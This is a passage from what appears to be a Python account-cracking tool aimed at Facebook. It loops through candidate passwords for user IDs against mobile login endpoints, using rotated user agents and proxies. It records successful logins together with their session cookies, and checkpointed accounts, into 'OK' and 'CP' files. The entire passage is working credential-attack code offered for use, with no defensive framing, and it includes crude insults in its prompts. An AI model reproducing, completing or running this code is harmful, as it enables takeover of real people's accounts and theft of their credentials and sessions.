%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
if "checkpoint" in po.cookies.get_dict().keys():
print(f'\r{K} CP😭 --> {idf}|{pw}{N}')
open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
akun.append(idf+'|'+pw)
cp+=1
break
elif "c_user" in ses.cookies.get_dict().keys():
ok+=1
coki=po.cookies.get_dict()
kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
print(f'\r{H} OK🔥 --> {idf}|{pw}|{kuki}{N}')
open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
break
else:
continue
except requests.exceptions.ConnectionError:
time.sleep(31)
loop+=1
#------------------[ METHODE-MBASIC-2 ]-------------------#
def crackfree(idf,pwv):
global loop,ok,cp
sys.stdout.write(f"\rcrack_ {loop}/{len(id)} OK-: {ok} CP-: {cp} {'{:.0%}'.format(loop/float(len(id)))}{P} "),
sys.stdout.flush()
ua = random.choice(ugen)
ua2 = random.choice(ugen2)
ses = requests.Session()
for pw in pwv:
try:
ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
koki+=' m_pixel_ratio=2.625; wd=412x756'
heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
if "checkpoint" in po.cookies.get_dict().keys():
print(f'\r{k} CP😭 --> {idf}|{pw}{N}')
open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
akun.append(idf+'|'+pw)
cp+=1
break
elif "c_user" in ses.cookies.get_dict().keys():
ok+=1
coki=po.cookies.get_dict()
kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
print(f'\r{H} OK🔥 --> {idf}|{pw}|{kuki}{N}')
open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
cek_apk(session,coki)
break
else:
continue
except requests.exceptions.ConnectionError:
time.sleep(31)
loop+=1
#---------------[ SYSTEM-CONTROL ]--------------#
def make():
try:
clear();banner()
info = input(f' [{b}•{x}] Masukkan Username Script : ')
if info =='pengocok_handal_xy':
print(f' {x}[{b}✓{x}]{h} Username Benar ');time.sleep(2);login()
else:
print(f' {x}[×]{k} Username Salah Asuh ');time.sleep(1);exit()
except requests.exceptions.ConnectionError:
print(f' [×] Sinyal Loh Kek Kontoll ');exit()
if __name__=='__main__':
try:os.mkdir('OK')
except:pass
try:os.mkdir('CP')
except:pass
try:os.mkdir('DUMP')
except:pass
try:os.system('touch .prox.txt')
except:pass
make()